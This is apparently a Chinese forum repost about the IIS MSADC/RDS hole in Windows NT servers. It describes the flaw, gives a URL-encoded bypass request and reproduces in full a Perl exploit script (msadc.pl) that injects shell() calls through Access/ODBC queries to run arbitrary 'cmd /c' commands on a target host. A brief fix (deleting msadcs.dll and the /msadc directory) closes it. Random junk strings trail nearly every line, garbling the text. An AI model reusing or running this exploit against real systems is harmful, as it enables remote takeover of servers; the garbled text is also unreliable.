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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) DH)@8)C  
~iEH?J%i1r  
涉及程序: NrNbNFfo  
Microsoft NT server %$!}MxUM  
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描述: ylmf^G@JC  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Kn=P~,FaG3  
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详细: J --9VlC'  
如果你没有时间读详细内容的话,就删除: c5R58#XK=  
c:\Program Files\Common Files\System\Msadc\msadcs.dll {j ${i  
有关的安全问题就没有了。 t}_qtO7>  
[KVBT;q6  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 i7cMe8  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 .OX.z~":y  
关于利用ODBC远程漏洞的描述,请参看: B~caHG1b  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm oBifESJ  
NU I|4X  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 k3}ymhUf  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp JV(|7Sk  
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这里不再论述。 F2!_Z=  
yZUB8erb.  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ) i.p[  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset <,HdX,5  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Ia0.I " ,  
FTtYzKX(bv  
iW.8+?Xq&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" e@NS=U` <  
6b6}HO  
#!perl Q$iv27  
# )O#>ONm^  
# MSADC/RDS 'usage' (aka exploit) script [0Z r z+q  
# a}hpcr({?  
# by rain.forest.puppy J+Q ;'J  
# 2/E3~X7  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 5?kF'yksR  
# beta test and find errors! @Zjy"u  
UccnQZ7/I  
use Socket; use Getopt::Std; j'X]bd'  
getopts("e:vd:h:XR", \%args); 1EyM,$On  
[-{L@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F?T3fINR  
4WzB=C(f  
if (!defined $args{h} && !defined $args{R}) { )+u|qT3%  
print qq~ CmY'[rI  
Usage: msadc.pl -h <host> { -d <delay> -X -v } RUlM""@b  
-h <host> = host you want to scan (ip or domain) ncu &<j}U  
-d <seconds> = delay between calls, default 1 second =5[}&W  
-X = dump Index Server path table, if available #'v7mEwt  
-v = verbose q,PB; TT  
-e = external dictionary file for step 5 ?U cW@B{  
~{=+dQ  
Or a -R will resume a command session FxTOc@<  
0 #VH=pga  
~; exit;} YB*ZYpRVl  
9bNjC&:4/]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~+q$TV  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (C!u3ke2D  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} uG${`4  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  Ae <v  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} IgG@v9'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Pi40w+/  
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if (!defined $args{R}){ $ret = &has_msadc; {h7*a=  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 600-e;p  
BN|+2D+S  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #T99p+O  
. "cmd /c "; I}kx;!*b  
$in=<STDIN>; chomp $in; oz(<e  
$command="cmd /c " . $in ; D ( <_1  
X%h1r`h&  
if (defined $args{R}) {&load; exit;} [6FCbzS_W  
=xS(Er`r  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; n^UrHHOL  
&try_btcustmr; iKv{)5  
<DvpqlT  
print "\nStep 2: Trying to make our own DSN..."; vMRM/.  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Hh(_sewo  
zX"@QB3E  
print "\nStep 3: Trying known DSNs..."; )z=`,\&p:  
&known_dsn; S=0zP36kH:  
]mn(lK  
print "\nStep 4: Trying known .mdbs..."; 0"ZB|^c=  
&known_mdb; kgEGL]G>  
G!ty@ Fx  
if (defined $args{e}){ ",B92[}Ar  
print "\nStep 5: Trying dictionary of DSN names..."; xzyV| (  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 5dXC  
EZ8Ih,j9  
print "Sorry Charley...maybe next time?\n"; Y 'Yoc  
exit; cZe,l1$  
E@}t1!E<  
############################################################################## erdWGUfQOe  
_W@q%L>  
sub sendraw { # ripped and modded from whisker NFDi2L>Ba  
sleep($delay); # it's a DoS on the server! At least on mine... Y`uL4)hR5  
my ($pstr)=@_; A%Pjg1(uX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &\F`M|c  
die("Socket problems\n"); g|9' Lk  
if(connect(S,pack "SnA4x8",2,80,$target)){ R.Ao%VT  
select(S); $|=1; 8*V3g_z  
print $pstr; my @in=<S>; :5L9tNr{_  
select(STDOUT); close(S); _ncqd,&z  
return @in; '&I.w p`^  
} else { die("Can't connect...\n"); }} t9Ht 5 4  
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############################################################################## 5sao+dZ"|  
w-Y-;*S  
sub make_header { # make the HTTP request ZL:nohB  
my $msadc=<<EOT .8<bz4  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 5)wz`OS  
User-Agent: ACTIVEDATA razVO]]E  
Host: $ip q=M!YWz  
Content-Length: $clen S#/[>Cb  
Connection: Keep-Alive ^cz #PNB  
'gxSHqeI2  
ADCClientVersion:01.06 G +o)s  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 <Qe30_<K  
u.ffZ]\7l  
--!ADM!ROX!YOUR!WORLD! X|{TwmHd  
Content-Type: application/x-varg uCB7(<  
Content-Length: $reqlen s(w6Ldi  
vj]-p=  
EOT 1mz;4xb  
; $msadc=~s/\n/\r\n/g; *[]7l]XK.  
return $msadc;} +H,/W_/g  
fil'._  
############################################################################## Pn\ Lg8  
+?5nkhH  
sub make_req { # make the RDS request 6+b!|`?l+  
my ($switch, $p1, $p2)=@_; ?lKFcm  
my $req=""; my $t1, $t2, $query, $dsn; U;<07 aMj  
Smzy EMT  
if ($switch==1){ # this is the btcustmr.mdb query Vahfz8~w/  
$query="Select * from Customers where City=" . make_shell(); %a{$M{s  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . x6d+`4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {9q~bt  
ykrb/j|rK  
elsif ($switch==2){ # this is general make table query %>_ZUu3M  
$query="create table AZZ (B int, C varchar(10))"; .S>:-j'u  
$dsn="$p1";} 1@JAY!yoo_  
Bd*:y qi  
elsif ($switch==3){ # this is general exploit table query H4ml0SS^  
$query="select * from AZZ where C=" . make_shell(); 9XImgeAs  
$dsn="$p1";} v}XMFC !  
nsQx\Tnhx  
elsif ($switch==4){ # attempt to hork file info from index server R#eY@N}\  
$query="select path from scope()"; 7%) F]  
$dsn="Provider=MSIDXS;";} ~4S@kYe{3K  
v_3r8My-  
elsif ($switch==5){ # bad query GD<xmuo  
$query="select"; &k*sxW'  
$dsn="$p1";} wWB-P6  
yANk(  
$t1= make_unicode($query); ~W p>tnl  
$t2= make_unicode($dsn); Oz<{B]pEul  
$req = "\x02\x00\x03\x00"; {s&6C-  
$req.= "\x08\x00" . pack ("S1", length($t1)); 4loG$l+a1  
$req.= "\x00\x00" . $t1 ; rK^Sn7U  
$req.= "\x08\x00" . pack ("S1", length($t2)); /F/zMZGSA{  
$req.= "\x00\x00" . $t2 ; V)HX+D>  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; P[E:=p  
return $req;} 4rpx  
kl(id8r  
############################################################################## btb$C  
qyA%_;ReMY  
sub make_shell { # this makes the shell() statement ^P)W/2  
return "'|shell(\"$command\")|'";} j^ y9+W_b  
tXZE@JyuC  
############################################################################## s+9q`k^  
V(/ @$&  
sub make_unicode { # quick little function to convert to unicode 8Jnl!4  
my ($in)=@_; my $out; /3( a'o[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } cu)ssT  
return $out;} u;-_%?  
0f"9w PC  
############################################################################## 99xs5!4s  
2QU ZBrs s  
sub rdo_success { # checks for RDO return success (this is kludge) bf#@YkE  
my (@in) = @_; my $base=content_start(@in); q#}#A@Rg  
if($in[$base]=~/multipart\/mixed/){ heLWVI[so  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} bLSZZfq  
return 0;} w4 R!aWLd  
dS+/G9X^  
############################################################################## =1/d>kke  
6.uyY@Yx  
sub make_dsn { # this makes a DSN for us ? zFeP6C  
my @drives=("c","d","e","f"); "t[9EbFL  
print "\nMaking DSN: "; >gQJ6q  
foreach $drive (@drives) { 960[.99  
print "$drive: "; dCbRlW  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . |Z ), OW  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" $ NNd4d*  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); -> $]`h"  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }(*eRF'  
return 0 if $2 eq "404"; # not found/doesn't exist gd#j{yI/Xf  
if($2 eq "200") { Wc6Jgpl  
foreach $line (@results) { ao+lLCr  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} !&8nwOG  
} return 0;} Q~p)@[q  
QJeL&mf  
############################################################################## gL)l)}#  
c/K:`XP~  
sub verify_exists { )sONfn  
my ($page)=@_; mgO D J  
my @results=sendraw("GET $page HTTP/1.0\n\n"); nTG@=C#  
return $results[0];} -'q#u C  
eootH K  
############################################################################## H K]-QTEn  
t[dOWgHi  
sub try_btcustmr { //x^[fkNq)  
my @drives=("c","d","e","f"); E:_m6 m  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0.MD_s0)>  
5o v F$qn  
foreach $dir (@dirs) { G}|!Jdr  
print "$dir -> "; # fun status so you can see progress n8FmIoZ&`  
foreach $drive (@drives) { 9)y7K%b0  
print "$drive: "; # ditto jV}tjwq  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :!'!V>#g  
$reqlenlen=length( "$reqlen" ); 3Ygt!  
$clen= 206 + $reqlenlen + $reqlen; x/<eY<Vgm?  
J*!_kg)>J  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); %z9lCTmy  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ;?q>F3 n  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  Zk={3Y  
?KB+2]7m6  
############################################################################## I`% ]1{  
qcmf*Yl:v  
sub odbc_error { {E 'go]  
my (@in)=@_; my $base; 9"g!J|+  
my $base = content_start(@in); b +4x2{  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Ifx EM  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XCo3pB Wq~  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _nn\O3TB  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6r]l8*3 4;  
return $in[$base+4].$in[$base+5].$in[$base+6];} p;x3gc;0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]%Db%A  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {:%A  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} j#f7-nHyz8  
E!s?amM4  
############################################################################## !GAU?J;<#2  
Vm"{m/K0  
sub verbose { qQ{i2D%)?f  
my ($in)=@_; 4WAs_~  
return if !$verbose; E S>iM)M  
print STDOUT "\n$in\n";} I'%\ E,  
x%`.L6rj  
############################################################################## \F;  S  
5bZjW~d  
sub save { &tjv.t  
my ($p1, $p2, $p3, $p4)=@_; 4b@ Awtk  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; O:J;zv\  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Cqra\  
close OUT;} @p\te7(P%  
5*#3v:l/9  
############################################################################## + lNAog  
"J=A(w5   
sub load { -Uo"!o>x|  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; wvnuE<o8  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); d%(4s~y  
@p=<IN>; close(IN); 9*ek5vPB  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); |PaVb4j  
$target= inet_aton($ip) || die("inet_aton problems"); {[[j.)  
print "Resuming to $ip ..."; !uxma~ZH-  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; A.|98*U%  
if($p[1]==1) { *[ww;  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; r;"uk+{i  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; +gh*n,:|  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); b]oPx8*'  
if (rdo_success(@results)){print "Success!\n";} AnW72|=A(  
else { print "failed\n"; verbose(odbc_error(@results));}} BXx l-x  
elsif ($p[1]==3){  TNj WZ  
if(run_query("$p[3]")){ = a54  
print "Success!\n";} else { print "failed\n"; }} D:I6nSoC  
elsif ($p[1]==4){ 8j^3_lD  
if(run_query($drvst . "$p[3]")){ LEgx"H=c  
print "Success!\n"; } else { print "failed\n"; }} CW . O"_  
exit;} An2Wj  
Z&M fE0F/B  
############################################################################## (\A~SKEX  
>=VtL4K^  
sub create_table { Y5XhV;16  
my ($in)=@_; QP={b+8  
$reqlen=length( make_req(2,$in,"") ) - 28; D/<;9hw  
$reqlenlen=length( "$reqlen" ); mcm8|@Y{  
$clen= 206 + $reqlenlen + $reqlen; t$k$ Hd';  
my @results=sendraw(make_header() . make_req(2,$in,"")); =.9uuF:  
return 1 if rdo_success(@results); hL(zVkYI  
my $temp= odbc_error(@results); verbose($temp); ,2/y(JX}*!  
return 1 if $temp=~/Table 'AZZ' already exists/; p J#<e  
return 0;} >ZjGs8&  
YgCSzW&(  
############################################################################## TD"w@jBA  
3B6"T;_  
sub known_dsn { m@#@7[6]o  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go #CcWsI>+w>  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", A DW>  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 5IfyD ]<  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); +u[?8D7Y  
qR>"r"Fq  
foreach $dSn (@dsns) { 0X: :<N@  
print "."; $=rLs)  
next if (!is_access("DSN=$dSn")); 50 VH>b_  
if(create_table("DSN=$dSn")){ \UR/tlw+/  
print "$dSn successful\n"; j+-+<h/(  
if(run_query("DSN=$dSn")){ yw{;Qm2\7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { A"W}l)+X  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "JBTsQDj!  
s"g"wh',  
############################################################################## 0s+pcqOd^  
Zyx92z9Y  
sub is_access { _WeN\F~^  
my ($in)=@_; cPL]WI0(  
$reqlen=length( make_req(5,$in,"") ) - 28; qL1 d-nH  
$reqlenlen=length( "$reqlen" ); dX vp-oi  
$clen= 206 + $reqlenlen + $reqlen; kIlK"=  
my @results=sendraw(make_header() . make_req(5,$in,"")); du0]LiHV  
my $temp= odbc_error(@results); :Tu%0="ye  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); :4'Fq;%C  
return 0;} oyt#CHX  
o;\c$|TNU  
############################################################################## 2ij/!  
DTi\ 4&41  
sub run_query { hJIF!eoI  
my ($in)=@_; u{>_Pb  
$reqlen=length( make_req(3,$in,"") ) - 28; wO&2S-;_K  
$reqlenlen=length( "$reqlen" ); !v`C-1}70  
$clen= 206 + $reqlenlen + $reqlen; Zv8I`/4?  
my @results=sendraw(make_header() . make_req(3,$in,"")); XDM~H  
return 1 if rdo_success(@results); #'?gMVSk  
my $temp= odbc_error(@results); verbose($temp); A;g{H|  
return 0;} 3Hg}G#]WS  
7x ?2((   
############################################################################## Bx&F*a;5  
fj,]dQ T  
sub known_mdb { <z+b88D  
my @drives=("c","d","e","f","g"); 8ta`sNy9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); sKU?"|G81G  
my $dir, $drive, $mdb; ]0yYMnqvr  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; |fTWf}Jx  
@Y8/#6KE  
# this is sparse, because I don't know of many 'CkN  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 28rC>*+z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", |DZ3=eWZ  
"\\system32\\certmdb.mdb", w6w'Jx  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% cHO8%xu`  
""2g{!~r  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", nL[ zXl  
"\\cfusion\\cfapps\\forums\\forums_.mdb", W<"{d  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", us,1:@a)a  
"\\cfusion\\cfapps\\security\\realm_.mdb", tm[e?+Iq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", y!;PBsU%Sx  
"\\cfusion\\database\\cfexamples.mdb", `4N{x.N  
"\\cfusion\\database\\cfsnippets.mdb", ~BJ~]~0P`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ['l.]k-b}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Uq8=R)1<|d  
"\\cfusion\\brighttiger\\database\\cleam.mdb", YKZk/m&H  
"\\cfusion\\database\\smpolicy.mdb", c'8a)j$$+  
"\\cfusion\\database\cypress.mdb", u|'}a3  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  :Ky *AI  
"\\website\\cgi-win\\dbsample.mdb", eJm7}\/6`  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", FYtf<C+  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" iH#b"h{w  
); #these are just 14,Pf`5Sz  
foreach $drive (@drives) { 'z}Hg *  
foreach $dir (@dirs){ }CyS_Tc  
foreach $mdb (@sysmdbs) { 6-w'?G37  
print "."; :1O1I2L0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ /V% ]lmxQ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; {g7[3WRy  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,& ^vc_}  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; kQY+D1  
} else { print "Something's borked. Use verbose next time\n"; }}}}} E*F)jP,yo  
5cza0CriJ  
foreach $drive (@drives) { RC']"jpW  
foreach $mdb (@mdbs) { 8% ;K#,>  
print "."; `Rc7*2I)l  
if(create_table($drv . $drive . $dir . $mdb)){ d*A(L5;@  
print "\n" . $drive . $dir . $mdb . " successful\n"; uv,_?x\'  
if(run_query($drv . $drive . $dir . $mdb)){ mm5y'=#  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 3nJd0E  
} else { print "Something's borked. Use verbose next time\n"; }}}} U =G^w L  
} H"g$qSx  
<e :2DB&  
############################################################################## %%w/;o!c  
jW G=k#WN  
sub hork_idx { / W,K% s]  
print "\nAttempting to dump Index Server tables...\n"; i(k]}Di:  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 8sV_@<l<X  
$reqlen=length( make_req(4,"","") ) - 28; BIr24N  
$reqlenlen=length( "$reqlen" ); ZPISclSA+  
$clen= 206 + $reqlenlen + $reqlen; vj23j[!|  
my @results=sendraw2(make_header() . make_req(4,"","")); (Wm4JmX%  
if (rdo_success(@results)){ <%2A, Vz"  
my $max=@results; my $c; my %d; y+P iH  
for($c=19; $c<$max; $c++){ -a}d @&  
$results[$c]=~s/\x00//g; UW%.G  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; gtBnP~zT\B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 4&+;n[D  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; B:pIzCP  
$d{"$1$2"}="";} u*<G20~A  
foreach $c (keys %d){ print "$c\n"; } K^_Mt!%  
} else {print "Index server doesn't seem to be installed.\n"; }} 1YklPMx6  
/<Doe SDJ|  
############################################################################## 8jnz;;|  
NNt,J;  
sub dsn_dict { >+ZD 6l/  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _(q|W3  
while(<IN>){ N1LZXXY{  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Nm 0kMq|h  
next if (!is_access("DSN=$dSn")); zgdOugmmt_  
if(create_table("DSN=$dSn")){ {Y%X  
print "$dSn successful\n"; Z{|U!tn  
if(run_query("DSN=$dSn")){ XU}|Ud562  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~x>?1K  
print "Something's borked. Use verbose next time\n";}}} ;'B\l@U\  
print "\n"; close(IN);} ~$zodrS9  
Uv-xP(X  
############################################################################## osJ;"B36  
c 4<~? L  
sub sendraw2 { # ripped and modded from whisker K`9ph"(Z  
sleep($delay); # it's a DoS on the server! At least on mine... oM@X)6P_  
my ($pstr)=@_; _l`s}yC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E,#J\)'z  
die("Socket problems\n"); `+!GoXI  
if(connect(S,pack "SnA4x8",2,80,$target)){ M=}vDw]Q  
print "Connected. Getting data"; r] +V:l3  
open(OUT,">raw.out"); my @in; f8Xe%"<  
select(S); $|=1; print $pstr; s57-<&@J9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -'tgr6=|w"  
close(OUT); select(STDOUT); close(S); return @in; `dYM+ jpa  
} else { die("Can't connect...\n"); }} I.<>6ISI@  
0#}@- e  
############################################################################## WrR97]7t  
@+v;B:  
sub content_start { # this will take in the server headers  [>'P  
my (@in)=@_; my $c; 1!x-_h}  
for ($c=1;$c<500;$c++) { dJhT}"x  
if($in[$c] =~/^\x0d\x0a/){ WheJ 7~  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 1,p[4k~Ww  
else { return $c+1; }}} S >PTD@  
return -1;} # it should never get here actually Lmy ^/P%  
GHMoT  
############################################################################## BVx: JiA  
LDJ=<c!  
sub funky { fR>(b?C  
my (@in)=@_; my $error=odbc_error(@in); ldJ:A*/M6  
if($error=~/ADO could not find the specified provider/){ E47U &xL  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Q1G?e,Q  
exit;} He4sP` &I  
if($error=~/A Handler is required/){ uLw$`ihw  
print "\nServer has custom handler filters (they most likely are patched)\n"; n=vW oU9  
exit;} *{]9e\DF  
if($error=~/specified Handler has denied Access/){ S.9ki<  
print "\nServer has custom handler filters (they most likely are patched)\n"; qp-/S^%  
exit;}} #-9;Hn4x  
,3k"J4|d  
############################################################################## 8 0>qqz  
e ,_b  
sub has_msadc { glk_ *x  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); g+ik`q(ge  
my $base=content_start(@results); y[*Bw)F\N  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); zS*X9|p  
return 0;} Z#wmEc.}C  
^/Id!Y7  
######################## $IL7c]Gw  
eCY gi7?  
^X%{]b K  
解决方案: [~;#]az  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll )fz)Rrr  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1"r6qYN!>  
c <[?Z7y  
拿出来充数 哈哈
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